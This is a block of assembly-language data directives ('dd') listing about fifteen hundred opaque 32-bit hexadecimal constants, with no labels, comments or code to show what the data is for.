		dd 92DA9398h, 0E8002B71h, 6AF708A5h, 166C51h, 3E91A29Fh
		dd 3FCFBC8h, 0D5002EFEh, 1E8E498Ch, 4C5C75BAh, 0BE002F14h
		dd 335FC973h, 91006D45h, 9D19E5DDh, 1E98A52Bh, 700B83h
		dd 28BC299Bh, 0CA39F399h, 2C550DAh, 43B4B204h, 8C87C442h
		dd 0BE3832h, 39EA84AFh,	9FC33F00h, 0EE0761C1h, 0B1130068h
		dd 6383A5BEh, 8400C731h, 60DABCBAh, 9D5A23h, 0FE6B9599h
		dd 4929E4FCh, 0FA1EE301h, 750A103Fh, 3FC68AC8h,	5898E0D4h
		dd 153E305Eh, 28AA4201h, 0C5AE8411h, 480BE3F4h,	9803C8B0h
		dd 0A47F1F48h, 30AF32A1h, 7100A976h, 4DDD8C42h,	7876E269h
		dd 0AA0500B5h, 65D0468Bh, 5DE83E22h, 2A732416h,	48006512h
		dd 0E4BCA338h, 0B64E1DEAh, 1EAC2836h, 1719FA4h,	4139FF98h
		dd 0DAE0FA02h, 261DD6A1h, 0EEC03890h, 219C9FBBh, 0AC1F0045h
		dd 848FDE6Ah, 180AA6CEh, 9C3D9640h, 24CC2181h, 25F4C512h
		dd 6F0600FCh, 0AA2F2634h, 0F1316D55h, 221D8E13h, 0F6E45BEDh
		dd 5C83006Ch, 0BB688994h, 717ADAE0h, 0FFA0A100h, 46228A47h
		dd 61693BB6h, 82100F80h, 1E2B9CB9h, 0D6D092C0h,	7B7FAC99h
		dd 0F8451C20h, 79500DDh, 8CCF70B9h, 5C7CAA16h, 0E7AD4B01h
		dd 0BC409D2Eh, 7F3C68F9h, 70600045h, 36EA0C61h,	4006EB4h
		dd 0FF2EB5Dh, 75C44E1h,	0D64AA617h, 2C4CA185h, 8F5DF840h
		dd 0D7AD7800h, 7E31F1F0h, 11EC001Bh, 2C4B04E5h,	6B00E488h
		dd 0D7A5FFFDh, 1EB81797h, 0C36AEE94h, 6E415B79h, 0D849B690h
		dd 0DCED9D1Eh, 0D6E51E00h, 9822F3h, 0D58DFF42h,	9806CE9h
		dd 118AEE00h, 8BBFCCBBh, 4D5F385Ch, 9A10BE30h, 0F150126Fh
		dd 7D1CC0C0h, 3C40A8E1h, 3EDA58DEh, 0A0D300BFh,	16A60B43h
		dd 0EA001B99h, 8BD72B87h, 0E3B5D72h, 10AE01E7h,	45B25A41h
		dd 0D0DBC9ADh, 553028A0h, 0FDD0126Bh, 0FB2707C2h, 3062BD5Dh
		dd 3642F2CDh, 0C0464E1Ch, 0E97B007Eh, 78C37326h, 3AD671F4h
		dd 0C2005417h, 93F29425h, 0A8C6C0E9h, 0F0B10C6Dh, 91A80E89h
		dd 0C31ECD5Ch, 0EB108F98h, 0F058C3E9h, 5301C675h, 7E6CF725h
		dd 1BD8E31Fh, 0DEB1E59h, 31C28523h, 49378063h, 37506D52h
		dd 0F1006248h, 0FE3C5588h, 6A312D7h, 98B0DA32h,	0D03B204Dh
		dd 0F78B0970h, 0AE5F006Eh, 18C5D65Eh, 48926F63h, 40C0D945h
		dd 23F498F2h, 0DAEE1EE6h, 8B5E40D7h, 2D9D84D0h,	0F200D1F4h
		dd 8A7DEF90h, 3714F19h,	0ADABBEA9h, 81807C74h, 0A01201Bh
		dd 3A6798CEh, 5AFC0CA0h, 5945000Eh, 0EC893160h,	0EA003E2Bh
		dd 9B2C6F7Ah, 1E9E495Ch, 0C00FAFC0h, 0F38E1AE3h, 361F5281h
		dd 0CB402DBFh, 7BFA6545h, 0E72F2510h, 470742FCh, 0E10CA76h
		dd 7F2D977Eh, 9B551F93h, 73078038h, 530B7D4Bh, 4E9EAC00h
		dd 1568CFA7h, 3C58399Dh, 0F3CBF200h, 4D63B6DEh,	0ECC03D01h
		dd 5AB083CEh, 0C41F80C3h, 392900EDh, 2BD3F6ABh,	0FB7C5444h
		dd 2C411616h, 1558A200h, 0E63E218Fh, 3176002Bh,	33754B66h
		dd 4D1D5B83h, 5C1D85E9h, 72B924Bh, 66105F7Ch, 37F5759h
		dd 0AFFFDF0Ah, 5006AB98h, 0FC7AEE75h, 0B9490868h, 0B60311EDh
		dd 102B91ACh, 0C18EB770h, 0AA616633h, 0B85EDh, 3C5F7D69h
		dd 0C7235h, 0B0541B75h,	1A263AF7h, 5B908000h, 0D71F8D33h
		dd 7B441D0Ch, 162BCC69h, 0A1030560h, 0F3558E3Bh, 1539D8FCh
		dd 1678CE08h, 0F6EF0032h, 0B4AC2ECh, 0D74DDB1Eh, 0C94F8C00h
		dd 1CCB5D14h, 75997EBh,	0D23820B7h, 7340AD30h, 0AA60E635h
		dd 9E33ABD8h, 6BB101E4h, 2AA420D3h, 0ECCFE472h,	0CCDC951Ch
		dd 3A331B80h, 736840h, 39A5654Fh, 139D9EA8h, 4EC22200h
		dd 3D32AE07h, 0C8A60014h, 0F7C63868h, 531EFA5Ah, 0E9876B34h
		dd 500CBCFh, 484E91DDh,	1A1ECBA9h, 0BC485DAAh, 759E8200h
		dd 9978D67Ch, 0E6504703h, 0C02AAB2Ch, 0FD7612h,	0D0E12F6Ah
		dd 31204E43h, 4D65DA00h, 42E84AB1h, 0AC6300ADh,	13792F06h
		dd 51079B8Eh, 0BE3123ABh, 0E848C160h, 0DCA801CFh, 9EC9764Fh
		dd 7BBBF066h, 2074CA00h, 0CDCF05B9h, 0E02C0509h, 2C52195Dh
		dd 0BF7A5A20h, 54DD0386h, 0F0492BEDh, 0B2413000h, 0FAC099E4h
		dd 0C8B80E09h, 378C0A3Fh, 0FD1F8721h, 803F82E4h, 0AD10D5C4h
		dd 8B3C0A28h, 9D48F800h, 0B84C3272h, 18D0606Eh,	6683F061h
		dd 764BECB0h, 0A50E7FFCh, 0B080307Fh, 60F06353h, 0C40A6400h
		dd 7DDB804Dh, 3A372843h, 184CF288h, 481B2BA2h, 71001123h
		dd 0D970B766h, 3A1E1F50h, 0B9205F8Ah, 7900237Dh, 9D0B2A6Bh
		dd 0B2B66Fh, 0A7CD4812h, 2D31A54Ch, 9853D030h, 0ACF054DBh
		dd 0E48F0480h, 38E2C066h, 8DA6007Ch, 0E12B5139h, 0E8A836F4h
		dd 71604D94h, 0C6E00CE9h, 0AE042A74h, 0C7AC00CCh, 613DCE19h
		dd 4B2A238Eh, 50F0D05Bh, 6D72B90Eh, 479F80F9h, 0E88D5E25h
		dd 2024608Ch, 4DF873E6h, 0B4765F0Ch, 18708864h,	71282D56h
		dd 0EB5C48ABh, 0D1861FD9h, 9FBA5A47h, 0DE6F2EA0h, 25570152h
		dd 2A1CC738h, 5E798C79h, 0B6815Fh, 524BC12Eh, 76DF1DA0h
		dd 0D1569902h, 0A050434Ah, 706731A8h, 27DE1ECBh, 5A280AF6h
		dd 729C8E60h, 62C1F824h, 1CEB26B1h, 0FC66FA06h,	17514BD4h
		dd 0BE9962h, 453BEE4Dh,	88125A1Ah, 98004B91h, 0FC9BC09Ch
		dd 0CFEB3D28h, 6079B812h, 990A7D24h, 304E7610h,	9BF82C4h
		dd 0EA8E805Dh, 14D6Ah, 69BE8CF7h, 40D674ECh, 60F281C0h
		dd 37A128Bh, 2F5A566h, 55E0C038h, 4628BB09h, 6746D453h
		dd 7172B502h, 593199F8h, 70F03211h, 0EF007912h,	0D610ABD7h
		dd 397BDFCDh, 0B0899F3Eh, 34202717h, 34249661h,	924ED1C0h
		dd 5BBA709h, 2CCC7001h,	12BC43B8h, 25D044C8h, 3F00C160h
		dd 0BC56530Fh, 1FD3141Ch, 125B7B63h, 492C00CDh,	2438C11h
		dd 62D0DC00h, 0C27B7438h, 0D16241Eh, 22D7809Ch,	6073EA3Dh
		dd 806B280Fh, 32F1C0EFh, 5CE05544h, 0B80031E2h,	73A2131Dh
		dd 0A0606063h, 1FBC69E1h, 1FC54843h, 16A8B00h, 28DDAF3h
		dd 5F394105h, 0B022D4FEh, 0A917C0EAh, 1D00037h,	7D1C9938h
		dd 0A400C5DBh, 5E6B1DBAh, 0C795D673h, 60ACF431h, 0C1E1A7B7h
		dd 0BA06171Fh, 89437700h, 93C83E3h, 518D68D5h, 0B111A01Dh
		dd 43FC1B87h, 9BF81D03h, 0A467C1B6h, 9EA11321h,	109EAE3Fh
		dd 80F61E4Eh, 0F54D7BFh, 400D9C7Eh, 313BD5B8h, 0A114040h
		dd 6E7610BDh, 527AC427h, 0A61610Eh, 22363197h, 5F4903A0h
		dd 1119D8h, 0BC906111h,	6A34D3EDh, 0F5E5AF00h, 0C468726Ch
		dd 70330584h, 80329255h, 0C7AECB6Bh, 0A59A8500h, 8C17D191h
		dd 2A350B29h, 0D1036659h, 4C926D8Bh, 95E49280h,	0FC3069ABh
		dd 0FD4D1892h, 0D4D60055h, 0EEB896F6h, 5A03AC19h, 44EB3377h
		dd 75628037h, 0A8B00BEh, 59BA1CF3h, 0FC006E8Eh,	4AA29F35h
		dd 556F29h, 4C74A448h, 8375EED0h, 96A0DE16h, 0C0B2D40Fh
		dd 0E78B9370h, 515C1BF0h, 4DC0C055h, 73C541Fh, 277886CCh
		dd 600894D4h, 52932145h, 0FB75B253h, 10B1AE01h,	0A221EB8Ch
		dd 0C08B99C5h, 0C38C9755h, 0A31B7F31h, 0C790CDBCh, 59C348C1h
		dd 20B8A183h, 0F9787488h, 1694F200h, 3CDEE5F1h,	0F5133189h
		dd 8021E708h, 16E2D930h, 17B9234Ch, 397932h, 7C8ECF49h
		dd 30C12D4h, 0D840576Fh, 9B4A186Dh, 0ADB37924h,	905EFA00h
		dd 96DE7DE9h, 58640C15h
		dd 37A94268h, 0CC0F1C00h, 0A5A28434h, 8EAC0073h, 61C8E6A9h
		dd 86071F9Bh, 177EEA65h, 0D1714C5Fh, 9C330D03h,	0F0106E41h
		dd 0D8C4E6F7h, 0EE30757Ah, 0E510E716h, 0E8C43B4Eh, 8000162Ah
		dd 9ACEE16h, 90F903DAh,	3D07D324h, 92E34003h, 34667FDh
		dd 0CA28F551h, 15A08C79h, 0CD3AC053h, 94141207h, 60E22C40h
		dd 5D279Ah, 6BE1AEFh, 2FD575EBh, 15E06B00h, 3F30380Fh
		dd 90165499h, 7ACB05E9h, 458DDD9h, 0F6D8D9Ch, 2601C3EBh
		dd 8EF4E8C8h, 898E396h,	77FC3939h, 0AAC20B00h, 82417B49h
		dd 0CECB0A8h, 0EF08CF59h, 17002448h, 2DC24234h,	31B9E16h
		dd 0F0FF35BEh, 9D8B884Dh, 0F146E498h, 0F367B600h, 962D09A3h
		dd 7ADF03CCh, 0A276470Dh, 3F8CD0B7h, 9D5C30EFh,	1C451F9Bh
		dd 3807740h, 0B1AB0Bh, 973EB0F0h, 0FD3DED38h, 0D1E0B700h
		dd 0DFF7DAE1h, 0B12607E2h, 90EEE95Eh, 0E756C0D4h, 0E000027Bh
		dd 1CF699B6h, 0D06FAh, 206D77F2h, 85372198h, 4C90590Fh
		dd 81E6ACFBh, 942B00F6h, 4402DC5Ah, 0FEF09C0Eh,	0F2419E00h
		dd 781FBEA3h, 0F3100E37h, 0CD80830Bh, 1692244Ch, 5CA6CF00h
		dd 8B69B43Eh, 712300AAh, 36A212B9h, 0B50F7C10h,	2B9649FEh
		dd 0C41006Dh, 17ECE4Fh,	0D471D9C9h, 9F9CF791h, 6606080h
		dd 46094D85h, 0AB007008h, 8A0438E7h, 353D216h, 2CF0DBE2h
		dd 20D82449h, 71072D61h, 3A67A651h, 50066480h, 0FA9700C3h
		dd 0D616C999h, 3B33B4C0h, 0F78FF8F2h, 0F40EA291h, 9BBCC8h
		dd 0AB837206h, 0D2494F92h, 11E13B01h, 1ADE0BDCh, 8DE080D6h
		dd 5CF279Bh, 0A0B7A72Eh, 6500FF3Bh, 9D31BD32h, 0E2E80051h
		dd 0AD9FBCFAh, 0C700DDDCh, 0A3F92414h, 0BE0123h, 0A9DF6DC3h
		dd 0F2C44873h, 381248h,	6BD0EF16h, 1B13FBDh, 0BBA6E00Dh
		dd 0E0388FFBh, 10167C0Fh, 4F00DBCEh, 3D9B0540h,	597F085h
		dd 5EE1B78Dh, 51E001D5h, 60FBBC46h, 0C0A0B973h,	9C0C8121h
		dd 0C0A55D8Fh, 0CEE60090h, 0B3AC3A86h, 0A17B30E0h, 5C4780DDh
		dd 65F097C5h, 0FE384EA4h, 0E5640011h, 29E27A1Dh, 3D0073CCh
		dd 0EA26D618h, 5520BA0h, 5110BB98h, 0C8046C9h, 30050C8h
		dd 8F4A8747h, 739F5Bh, 0B9FBA310h, 44A80706h, 0AB5CFC00h
		dd 1FADBA3Eh, 39A5EC81h, 58898A87h, 6027DFF1h, 0A6C2A031h
		dd 360020E4h, 0A37B3406h, 90B4E611h, 7CEC0080h,	9897661Eh
		dd 62004E5Dh, 0DC72EE5Fh, 48D52575h, 0F0002011h, 2D1233AEh
		dd 0C2C9AE7h, 8400E38Eh, 2447976Ch, 96E128CFh, 0A6FE00CAh
		dd 45E2C8EAh, 1C495787h, 43FC0040h, 800B3FA3h, 0F31036Fh
		dd 0AF256AABh, 2D48809Dh, 0A93A89FBh, 0B171FFD5h, 11D19D00h
		dd 4B3E5856h, 5BE07Ch, 9739C588h, 2AC6642h, 0B0951126h
		dd 9FBD1707h, 56E2CE70h, 0BEA500EEh, 879A599Dh,	0C626A72Bh
		dd 95032012h, 9CFC5E6h,	23279654h, 21928020h, 0BB163D74h
		dd 3C648620h, 0E5F32CC0h, 0D0334CEEh, 291DC4h, 0C01550D3h
		dd 0B06A7E54h, 58DA09A4h, 94989A4Fh, 27110A7Dh,	3F88E5C8h
		dd 5850980h, 260C625h, 0BEB8A6C0h, 8FE0F408h, 0D80F8979h
		dd 13F374h, 0B1AD84AFh,	7BFC05F8h, 0D39A6669h, 38D83618h
		dd 0A206A36Fh, 87D3A15Ah, 53FC00C1h, 0B5DE7A78h, 0E6782D1Bh
		dd 900577Ch, 8FDFD548h,	221123h, 853AB73Ch, 0DA31C8CCh
		dd 0E59044h, 0B1AA03BDh, 3430D027h, 22F69A0Eh, 7A7BE085h
		dd 62560BBCh, 596F20BDh, 64F2F063h, 9323209Ch, 20B90E9Bh
		dd 0F780B8D5h, 0C6E5EC16h, 0CB103C43h, 0E1CC1320h, 0E9399501h
		dd 0C9D84FD1h, 0A8F17A83h, 4192C8h, 0AB3DA3EEh,	0B2FED9D4h
		dd 596D3218h, 2BB17A41h, 7204F0AFh, 78045408h, 4EF872B3h
		dd 304105Ch, 0AEA2868Dh, 2609008Eh, 0E489C9B8h,	3CE8CAB2h
		dd 20491CA1h, 0E73CCE64h, 187D3458h, 80CF204Fh,	3C4B949Ch
		dd 92CC3EC8h, 98539D99h, 5009B29Fh, 8188BA3h, 8D1B4C8Ch
		dd 6278A669h, 0F0ED1972h, 71641C86h, 0D4A10C3h,	5034E57Ch
		dd 602A105Fh, 68C8BC29h, 72000421h, 0C9A14B8Dh,	81946609h
		dd 482C9D8h, 0B3C1C30h,	92F1BA1Ah, 0BE0C1108h, 8CB71441h
		dd 0A124C43h, 0BA197190h, 8608A244h, 6E090050h,	0B87DA8F9h
		dd 0BF0A76D3h, 70655143h, 72F48780h, 0A02D2F02h, 0A52E88F8h
		dd 5F04E8FCh, 0F86E558h, 9BF2ED64h, 59FC0FF0h, 0DC2CC0F4h
		dd 7C6EFD2Fh, 72DE017Ch, 0F328C72Eh, 92288059h,	87F12DBh
		dd 56BA30B0h, 2AF49F19h, 0BE386E63h, 7F507EECh,	4458C7B1h
		dd 4831F6A8h, 0D0BA8307h, 3CC0FA61h, 7FD3991Dh,	5C5730C8h
		dd 0B982E960h, 5DBC0A18h, 1E3C710h, 0C22E3864h,	40FBF127h
		dd 39D0BB34h, 884883EBh, 804592B2h, 0E48EE82h, 6D5CBAC8h
		dd 0E35DB380h, 915C71A1h, 3A3C00D8h, 0AFEF57EDh, 23A8CFEBh
		dd 84BF0A6h, 7F2FE717h,	19C03518h, 486C83F4h, 0E82F0890h
		dd 0B71E03E7h, 9E8D4DC1h, 22C028EAh, 61E8B8D3h,	32C5F800h
		dd 0AC9C2C3h, 0EB3B004Dh, 452E46CAh, 0D9C32998h, 816C8AFCh
		dd 8C402F99h, 0C0821BC2h, 0F02C1DE9h, 910AC802h, 0A4C34046h
		dd 0D133DF82h, 755AC067h, 0F4D84CF5h, 2AA3DD01h, 814E404Ch
		dd 467DE929h, 0EC51F941h, 8840706Dh, 2EDA9CAh, 7CE5DA60h
		dd 0D583D7EBh, 4DA1D102h, 0E1784641h, 0B2085B60h, 60DF6067h
		dd 546C382Fh, 9C00ED66h, 0B0516EB4h, 31BAACABh,	3C21B66Fh
		dd 0CAB04068h, 0A1C5C74Eh, 0B44AE4EFh, 3E0FACFAh, 466080E6h
		dd 0B25D87h, 0AC0B2B8Fh, 0AF420AC8h, 51DABA0Dh,	0A81D485Ch
		dd 48621083h, 0CEC0C0F6h, 41240E6Dh, 3C8838CAh,	2C1F3CEDh
		dd 8EEA8AB9h, 130150B8h, 27412086h, 8CB2F800h, 0F6C391C9h
		dd 0F30C006Bh, 285B58D1h, 0A20019FEh, 44DE6F2Ah, 12DF8BCBh
		dd 52EEEF56h, 7761E20h,	0A0C102F1h, 2B802E4Dh, 0B5B60A18h
		dd 1ED27330h, 1DBA1BA9h, 20E0CE55h, 6BFD6180h, 0AC0775EFh
		dd 1EB01F4Fh, 57E86361h, 0C0625024h, 0DEC976D9h, 0D7A1C1AAh
		dd 24BC2087h, 72906A50h, 0B86C3C2Ah, 30C9CD33h,	69F9B8D9h
		dd 5DDF24AFh, 18D8A0D0h, 8741B39h, 8CA58F51h, 424A508h
		dd 92624134h, 84B0744h,	0A8D9E599h, 0D2491C81h,	0ED0A1218h
		dd 0F0DE3071h, 2C401435h, 2827F1C1h, 404CEB9Ah,	0A579BAE6h
		dd 0CCC07983h, 0B0913FF1h, 44183D0Eh, 0CD5800BBh, 673C33Ah
		dd 546D3748h, 6CA8406Fh, 4AB00AEDh, 401FC703h, 19F3BF55h
		dd 2868EF91h, 0A2424D8h, 603C841Ch, 7202886Ah, 0A9C9BFB3h
		dd 0EC5890F6h, 1479745Ah, 4843EF60h, 58B54080h,	2E004C44h
		dd 7BC2CFE1h, 1F84C4C1h, 461FC5ADh, 0B045045Fh,	870BE83Ah
		dd 56A9C80Ah, 0C1B801C9h, 0FDD0B154h, 4CC49053h, 439F7863h
		dd 44F45559h, 0DE537101h, 85414C14h, 0B0706840h, 49B0A15Dh
		dd 903439A8h, 64D4305Ch, 7AEBD739h, 0C5A3C900h,	43489DAAh
		dd 0B37187h, 383171D2h,	0AC4B499Eh, 68D0DF18h, 788A4A48h
		dd 8C2A52ADh, 337521Fh,	8356B691h, 1F5B8100h, 2B26C1B2h
		dd 0A3CE886Fh, 1028D731h, 0C500E57Ch, 601380E6h, 5C0831D1h
		dd 7CC8A8B0h, 0A9580C8Ch, 0B103E35h, 4BD36A00h,	0C4224ACCh
		dd 0C8BE5055h, 1509A23h, 324F879Dh, 0F0ACF69Ah,	9813B6BAh
		dd 0F8037084h, 0B4ED51CBh, 1CD20488h, 4FC52497h, 73C32185h
		dd 0CEA2468Dh, 3DAD0048h, 22722400h, 1A6D5E5Dh,	55180053h
		dd 0BB3C20D7h, 0C109AD5Fh, 20F52B16h, 0D2879C08h, 0CC07686h
		dd 2EE5ECCh, 80A85608h
		dd 0DD008E72h, 0ADA02B89h, 32A46Eh, 0FA6B332Ch,	0AFCDAA3Ah
		dd 6F12B401h, 4E8CBAF7h, 0A27D1889h, 2BC83305h,	0D92360h
		dd 8661DAAAh, 74EA8856h, 9DDEE208h, 41D0264Ch, 485CC1AEh
		dd 0D2088564h, 0C402C074h, 923C4041h, 13F37DDh,	844EE2BCh
		dd 0DC5FB2BFh, 61037132h, 0F2FAC155h, 0A01EAA85h, 0B287CDE8h
		dd 70530E80h, 1DE1C06Dh, 80ABC18Fh, 0B28D6221h,	3E0B8CA6h
		dd 1181D37Ch, 0CF2C5F6Fh, 4844442h, 314D73E0h, 0C5EC2499h
		dd 0DA448C95h, 243F00B3h, 13D93490h, 8C5CC517h,	0DBE7061Ch
		dd 60C027h, 3B4989BBh, 8292672h, 0F7BE6600h, 5D0628E8h
		dd 40FE3C7Ch, 0BCB07380h, 4016ADAh, 0FFE1753Bh,	0E902CB1Ch
		dd 0B137DE00h, 0E2927FB3h, 0E8B000F6h, 0D15905E7h, 2000D962h
		dd 5AF7D30Dh, 0F784EAAh, 927AA808h, 0C4FEC43h, 0E43F5288h
		dd 0FD07377Ah, 0BA4F94Bh, 0C030C433h, 609951h, 7CC1C8BAh
		dd 8ADC9AB3h, 35FF500h,	71CE81C9h, 0FB18006Eh, 70A5288Fh
		dd 34009D0Ch, 179E5AE0h, 0F29A8Eh, 375571C2h, 0A5882340h
		dd 62046B00h, 906002A3h, 0CB44C0ABh, 290592CAh,	2DD9FF03h
		dd 0D5EF6361h, 54EEB601h, 0A0E3C1F2h, 79080BD7h, 82C000F5h
		dd 26ACF76Eh, 0CE00FA78h, 530699DAh, 79CA7A44h,	0CB970D79h
		dd 0E608D2C3h, 0EC057517h, 0ABC066BCh, 0F8CC068Eh, 0F7873E7Fh
		dd 0D3433D03h, 52D80E98h, 44000793h, 997CEB78h,	187FB4C1h
		dd 28E664C5h, 0E11F37h,	803C236Ah, 12889B08h, 0ABE9408Bh
		dd 44941E44h, 9844F456h, 798C631Dh, 2908228Fh, 842F245h
		dd 0BD889A20h, 86839086h, 0FB5151F8h, 32629408h, 22216779h
		dd 0B82524B1h, 91AA6406h, 115B4229h, 0E4212876h, 799A870Ch
		dd 4E0288FFh, 0C9851A00h, 3CF173ADh, 1B9C006Ch,	63FF234Ah
		dd 0BF26B8BCh, 0F600D421h, 163B7FB6h, 76882602h, 0AB2611h
		dd 87277A6Dh, 6F00DC77h, 6A967B8Eh, 0C02EB26Bh,	0BC7D1E59h
		dd 92005BE8h, 0E15A018Ch, 0D0DDDEh, 5726212Eh, 756E2927h
		dd 0A1E70600h, 0F9C14F67h, 6CD80087h, 9D355946h, 0FA00D1BAh
		dd 0B01FBBDh, 0AAD3D6h,	0D7B7BF4Fh, 0EDDD3E5Ch,	0FB00A472h
		dd 0CDADC542h, 48CB39E8h, 0E53D1462h, 881A020Eh, 0EBE02040h
		dd 26186A5Ah, 0D061088Ah, 8C9E0705h, 0F0D1FE16h, 25685BF2h
		dd 7D37A000h, 5C1B6381h, 0A5D31C95h, 8D24C785h,	0C31961BCh
		dd 11B02E7Ch, 1860033h,	0FBC0C880h, 3207D9C4h, 0F8504FF0h
		dd 95D1EA60h, 9C21006Ch, 0E94733FDh, 300A2E8h, 91998D28h
		dd 0D70746h, 411F2524h,	855661CFh, 3E8E6500h, 0B70B5EBCh
		dd 1BAE001Ch, 1FD35B1Dh, 0F60028B9h, 3A484534h,	0F3E8A54h
		dd 8CF42655h, 865F1180h, 12009C58h, 5E830168h, 5780Ah
		dd 720E2C26h, 2FFBAA34h, 867C6500h, 7F369038h, 0B0A6005Eh
		dd 749B9E98h, 22738D33h, 191E7C00h, 0C06CDE77h,	256600E2h
		dd 8278E1B2h, 0C61DE4D5h, 0ABC01C09h, 54728A4Fh, 75E7005Dh
		dd 0D05A1F85h, 2B006A63h, 0D8706BACh, 0E8FF84h,	599AD50Bh
		dd 8DD3685Ch, 6AE44201h, 0CF7F980Eh, 17DA2F0h, 16401CB8h
		dd 0F4744828h, 0B73C0FC8h, 872A9F5Dh, 0B901D61Eh, 0DF969B8h
		dd 1C48B6C4h, 63D94Bh, 5C6ECAF5h, 93090E1Fh, 86B8D4h, 2859FFC4h
		dd 8FC80777h, 40632FFCh, 290410C4h, 4B00BE7Dh, 76AB3F7Eh
		dd 609C7D9Fh, 956AE6A5h, 1D00EFC0h, 0ACC656FCh,	6FE365h
		dd 0CA6C0974h, 0A30ABA89h, 0EDCBFA00h, 7CCF6643h, 31D400B8h
		dd 0E7865D67h, 9C00C7FDh, 41B4DD91h, 0F4E3CBD6h, 0BEEF018Ch
		dd 460601D4h, 93A4DC4Dh, 5840CA2Eh, 75058D00h, 0D198F2h
		dd 4D8002E1h, 0A32F7669h, 0B9A8B403h, 0A9D829D0h, 0E0C72D6Ah
		dd 3D69BFCh, 82BEDE18h,	0AE8821E2h, 0CD00805Ch,	26243E8Bh
		dd 0EB3329Bh, 0F8A39954h, 4FE5F2E0h, 0BFEE7377h, 0F95C651Eh
		dd 319C2E40h, 19DD3F6h,	0D56786B6h, 0D0532B1Eh,	64007EA8h
		dd 5C0D9F1Dh, 894F7Fh, 0E9F1AA92h, 0DDFACC8Ch, 0F0F71500h
		dd 0C96BE526h, 869A5C5Bh, 0AC712100h, 5E606DB9h, 7FD18200h
		dd 0F4DCA62Eh, 21220F53h, 7A208574h, 0EF526F2Bh, 6962D300h
		dd 0AD1E5527h, 866B016Eh, 98CEF407h, 0DCE7C433h, 0E3728409h
		dd 24C0079Bh, 0E4568130h, 8D160017h, 0EE76832Bh, 433A45DCh
		dd 0EF2280B8h, 75EC71DFh, 940000Eh, 544F37BEh, 0F0013F65h
		dd 5CDA49C2h, 2CC1D38h,	0BF48031Ch, 7BD47D0h, 64D1E8D8h
		dd 702BEB00h, 2EA27606h, 0CD83001Eh, 6985BA5Bh,	9A00B7B4h
		dd 1CE604AEh, 0EF6E80h,	0D5E4B83Bh, 0E3DFD981h,	9EF31000h
		dd 6AAA2578h, 0C2323835h, 15CC300h, 0D58414EAh,	262B7D00h
		dd 47FD8052h, 7BE039C6h, 0C0B4A81Fh, 0FE3DF170h, 80005829h
		dd 5A252CBDh, 687664h, 3A454C6Fh, 776D8859h, 3048141Ch
		dd 479B803Fh, 680A0307h, 0E29300F7h, 0EF5994FAh, 0CF00B79Fh
		dd 70F55AD2h, 224B9Bh, 0A5A9E42Bh, 19A212F7h, 8B0B713h
		dd 6078210Eh, 0B2154694h, 0D60A1649h, 0B130092h, 67CF3F6Ah
		dd 88EE7C03h, 0C89871E0h, 2249B6h, 3837C962h, 0B34C9507h
		dd 140A1F09h, 0B5A780B0h, 0BA88BCh, 8BFC0EBEh, 6F0DE213h
		dd 225948h, 0CC75B65Ch,	8D71D9h, 14D87FA3h, 2460C913h
		dd 2C39DE0Eh, 0BCD260F8h, 5199D7h, 0C91BD5DBh, 0FEF925AEh
		dd 75EB4C00h, 7E389A5Ch, 14B51D7Ch, 40B89FCAh, 5A97B66Ah
		dd 28004E88h, 0D727DF57h, 986131h, 0C26BB39Ah, 0C556B4BBh
		dd 44D3D000h, 87623836h, 93173A5Bh, 7BA0E000h, 348E43D4h
		dd 51942900h, 0A7CBC36Dh, 554603BAh, 84D7EA1Bh,	0D99BF798h
		dd 6400455Bh, 92590256h, 0DC2B0034h, 0CB88CF7Bh, 170766FAh
		dd 0AB07F6Ch, 0EA9F9CD0h, 82C70018h, 0B22D5B57h, 250FE770h
		dd 20621AFDh, 63BCA147h, 5990B1h, 4CFF2D2Ch, 64EF4F42h
		dd 0D7053400h, 7A81F136h, 0D630009h, 0B81D41CCh, 0B90086FFh
		dd 0D48ACA58h, 1F691535h, 0C04B6EA2h, 0E8A5B160h, 410F5D2Dh
		dd 0CE1ECBC9h, 97D381BFh, 0D020BECDh, 4B0F1DA0h, 0E323C449h
		dd 2C1FAA8h, 78C48B7Dh,	52130079h, 3B730812h, 6603A83Ch
		dd 37F3119Dh, 7FFF021h,	4546144Eh, 6C80E042h, 5C707E95h
		dd 0D4ED8200h, 1BB1BE4Dh, 85C80008h, 4AD3F839h,	1CFE24C3h
		dd 5803AD01h, 22FAF972h, 0B5F811FDh, 6C0E00EFh,	45B31335h
		dd 47011577h, 6073320Ah, 5420B292h, 0DDAF00E0h,	98416474h
		dd 0EB00190Ch, 0A6E4342Ch, 7D5497h, 0E8497C1Dh,	0B8C15571h
		dd 92F6010Eh, 0AE6640B6h, 84B595h, 72D1D412h, 0A2C4F5EEh
		dd 3940ED00h, 292D705Fh, 0B3670742h, 47872284h,	0E3D08012h
		dd 4752C02h, 64336E00h,	0E8B5286Ch, 1EECE86Ah, 7E4954Fh
		dd 80DECD10h, 5F9824C5h, 8A00D870h, 2523D47Eh, 5AF551h
		dd 0BE3AAF9h, 0FBCE3B26h, 4E080203h, 0B8C5A712h, 14153CBh
		dd 83E1DB79h, 0D9117363h, 85BC4084h, 206CC5Ah, 99743A23h
		dd 527E0340h, 1C97DA8Dh, 472F3288h, 5A676400h, 8C810CB5h
		dd 949A1E05h, 0E81F00B6h, 0FB521EC7h, 0B2C86000h, 5CD2DEBEh
		dd 12E33D40h, 0E51700F5h, 97BC5354h, 98003775h,	4CC9FD5Eh
		dd 1775189h, 0EAE1C131h, 0D485344Fh, 709F909h, 6429BCh
		dd 6BD08659h, 6D9D0499h, 0C775C28Ah, 2B8C607Dh,	0C8003834h
		dd 0A6B7925Ch, 0E8329DE8h, 656A0069h, 12E91022h, 647A77ADh
		dd 0DC009C7Ah, 0D40AA0AEh, 0E2C6FAD3h, 933600C7h, 458044C5h
		dd 0B11EBB7Ah
		dd 79CEE4BDh, 6F750029h, 6B2FD6h, 9F27D7A2h, 23890CBEh
		dd 71E87975h, 0F451611Ch, 0CDFEB200h, 58538Ch, 0E306AFDh
		dd 0C235330Bh, 0F2EE9500h, 0CA1F9F4h, 1A7009D0h, 0CD00E3FFh
		dd 18F1CC71h, 0C695B702h, 0E0558959h, 73BE04h, 6B011242h
		dd 1609AD68h, 8F92E601h, 49365851h, 0C80EC0EAh,	0C6E1003Ch
		dd 60219B02h, 7A906EBDh, 0BB457000h, 6A8F89D2h,	48637F5Ch
		dd 270EDCB5h, 9B0754Ch,	87D0F565h, 0ADC00638h, 9142DEh
		dd 0B07E8C5Dh, 0B4A48B01h, 0C49A8207h, 2CA01D25h, 5C57A853h
		dd 66008893h, 0B5516840h, 0D34C6754h, 0E4750F77h, 947FC54Ch
